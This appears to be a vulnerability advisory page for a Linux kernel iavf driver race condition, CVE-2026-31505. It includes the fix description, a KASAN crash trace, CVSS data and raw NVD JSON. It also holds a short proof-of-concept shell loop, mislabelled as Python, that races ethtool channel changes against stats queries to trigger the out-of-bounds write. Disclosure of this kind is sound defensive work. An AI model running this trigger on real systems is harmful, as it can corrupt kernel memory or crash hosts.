CVE-2026-31505

Description

In the Linux kernel, the following vulnerability has been resolved: iavf: fix out-of-bounds writes in iavf_get_ethtool_stats() iavf incorrectly uses real_num_tx_queues for ETH_SS_STATS. Since the value could change in runtime, we should use num_tx_queues instead. Moreover iavf_get_ethtool_stats() uses num_active_queues while iavf_get_sset_count() and iavf_get_stat_strings() use real_num_tx_queues, which triggers out-of-bounds writes when we do "ethtool -L" and "ethtool -S" simultaneously [1]. For example when we change channels from 1 to 8, Thread 3 could be scheduled before Thread 2, and out-of-bounds writes could be triggered in Thread 3: Thread 1 (ethtool -L) Thread 2 (work) Thread 3 (ethtool -S) iavf_set_channels() ... iavf_alloc_queues() -> num_active_queues = 8 iavf_schedule_finish_config() iavf_get_sset_count() real_num_tx_queues: 1 -> buffer for 1 queue iavf_get_ethtool_stats() num_active_queues: 8 -> out-of-bounds! iavf_finish_config() -> real_num_tx_queues = 8 Use immutable num_tx_queues in all related functions to avoid the issue. [1] BUG: KASAN: vmalloc-out-of-bounds in iavf_add_one_ethtool_stat+0x200/0x270 Write of size 8 at addr ffffc900031c9080 by task ethtool/5800 CPU: 1 UID: 0 PID: 5800 Comm: ethtool Not tainted 6.19.0-enjuk-08403-g8137e3db7f1c #241 PREEMPT(full) Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 Call Trace: <TASK> dump_stack_lvl+0x6f/0xb0 print_report+0x170/0x4f3 kasan_report+0xe1/0x180 iavf_add_one_ethtool_stat+0x200/0x270 iavf_get_ethtool_stats+0x14c/0x2e0 __dev_ethtool+0x3d0c/0x5830 dev_ethtool+0x12d/0x270 dev_ioctl+0x53c/0xe30 sock_do_ioctl+0x1a9/0x270 sock_ioctl+0x3d4/0x5e0 __x64_sys_ioctl+0x137/0x1c0 do_syscall_64+0xf3/0x690 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f7da0e6e36d ... </TASK> The buggy address belongs to a 1-page vmalloc region starting at 0xffffc900031c9000 allocated at __dev_ethtool+0x3cc9/0x5830 The buggy address belongs to the physical page: page: refcount:1 mapcount:0 mapping:0000000000000000 index:0xffff88813a013de0 pfn:0x13a013 flags: 0x200000000000000(node=0|zone=2) raw: 0200000000000000 0000000000000000 dead000000000122 0000000000000000 raw: ffff88813a013de0 0000000000000000 00000001ffffffff 0000000000000000 page dumped because: kasan: bad access detected Memory state around the buggy address: ffffc900031c8f80: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ffffc900031c9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 >ffffc900031c9080: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ^ ffffc900031c9100: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 ffffc900031c9180: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:5.17:-:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:* - VULNERABLE

Linux Kernel (多个版本，具体见厂商补丁)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/bin/bash
# PoC to trigger race condition in iavf driver
# Requires root access to ethtool

INTERFACE="eth0" # Change to your iavf interface

while true; do
    # Thread 1: Change channels (simulate ethtool -L)
    ethtool -L $INTERFACE combined 1 2>/dev/null
    ethtool -L $INTERFACE combined 8 2>/dev/null
    
    # Thread 2: Query stats (simulate ethtool -S)
    ethtool -S $INTERFACE > /dev/null &
done

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-31505
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-31505
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-31505/
[4] VulDB https://vuldb.com/cve/CVE-2026-31505
[5] https://git.kernel.org/stable/c/1f931dee5b726df1940348ec31614d64bac03aa6
[6] https://git.kernel.org/stable/c/bb85741d2dc2be207353a412f51b83697fcbefcf
[7] https://git.kernel.org/stable/c/fdf902bf86a80bf15792a1d20a67a5302498d7f1
[8] https://git.kernel.org/stable/c/fecacfc95f195b99c71c579a472120d0b4ed65fa

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-31505", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-22T14:16:49.233", "lastModified": "2026-04-28T15:06:25.950", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: fix out-of-bounds writes in iavf_get_ethtool_stats()\n\niavf incorrectly uses real_num_tx_queues for ETH_SS_STATS. Since the\nvalue could change in runtime, we should use num_tx_queues instead.\n\nMoreover iavf_get_ethtool_stats() uses num_active_queues while\niavf_get_sset_count() and iavf_get_stat_strings() use\nreal_num_tx_queues, which triggers out-of-bounds writes when we do\n\"ethtool -L\" and \"ethtool -S\" simultaneously [1].\n\nFor example when we change channels from 1 to 8, Thread 3 could be\nscheduled before Thread 2, and out-of-bounds writes could be triggered\nin Thread 3:\n\nThread 1 (ethtool -L) Thread 2 (work) Thread 3 (ethtool -S)\niavf_set_channels()\n...\niavf_alloc_queues()\n-> num_active_queues = 8\niavf_schedule_finish_config()\n iavf_get_sset_count()\n real_num_tx_queues: 1\n -> buffer for 1 queue\n iavf_get_ethtool_stats()\n num_active_queues: 8\n -> out-of-bounds!\n iavf_finish_config()\n -> real_num_tx_queues = 8\n\nUse immutable num_tx_queues in all related functions to avoid the issue.\n\n[1]\n BUG: KASAN: vmalloc-out-of-bounds in iavf_add_one_ethtool_stat+0x200/0x270\n Write of size 8 at addr ffffc900031c9080 by task ethtool/5800\n\n CPU: 1 UID: 0 PID: 5800 Comm: ethtool Not tainted 6.19.0-enjuk-08403-g8137e3db7f1c #241 PREEMPT(full)\n Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n Call Trace:\n <TASK>\n dump_stack_lvl+0x6f/0xb0\n print_report+0x170/0x4f3\n kasan_report+0xe1/0x180\n iavf_add_one_ethtool_stat+0x200/0x270\n iavf_get_ethtool_stats+0x14c/0x2e0\n __dev_ethtool+0x3d0c/0x5830\n dev_ethtool+0x12d/0x270\n dev_ioctl+0x53c/0xe30\n sock_do_ioctl+0x1a9/0x270\n sock_ioctl+0x3d4/0x5e0\n __x64_sys_ioctl+0x137/0x1c0\n do_syscall_64+0xf3/0x690\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\n RIP: 0033:0x7f7da0e6e36d\n ...\n </TASK>\n\n The buggy address belongs to a 1-page vmalloc region starting at 0xffffc900031c9000 allocated at __dev_ethtool+0x3cc9/0x5830\n The buggy address belongs to the physical page: page: refcount:1 mapcount:0 mapping:0000000000000000\n index:0xffff88813a013de0 pfn:0x13a013\n flags: 0x200000000000000(node=0|zone=2)\n raw: 0200000000000000 0000000000000000 dead000000000122 0000000000000000\n raw: ffff88813a013de0 0000000000000000 00000001ffffffff 0000000000000000\n page dumped because: kasan: bad access detected\n\n Memory state around the buggy address:\n ffffc900031c8f80: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n ffffc900031c9000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00\n >ffffc900031c9080: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n ^\n ffffc900031c9100: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8\n ffffc900031c9180: f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8 f8"}], "metrics": {"cvssMetricV31": [{"source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.17.1", "versionEndExcluding": "6.12.80", "matchCriteriaId": "803A2BAF-5A16-46AC-B6F6-5128B48C13FF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.21", "matchCriteriaId": "ED39847A-3B46-4729-B7CA-B2C30B9FA8FE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.11", "matchCriteriaId": "4CA2E747-A9EC-4518-9AA2-B4247FC748B7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.17:-:*:*:*:*:*:*", "matchCriteriaId": "A59F7FD3-F505-48BD-8875-F07A33F42F6C"}, {"vulnerable": true, "criteria": "cpe:2.3:o: ... (truncated)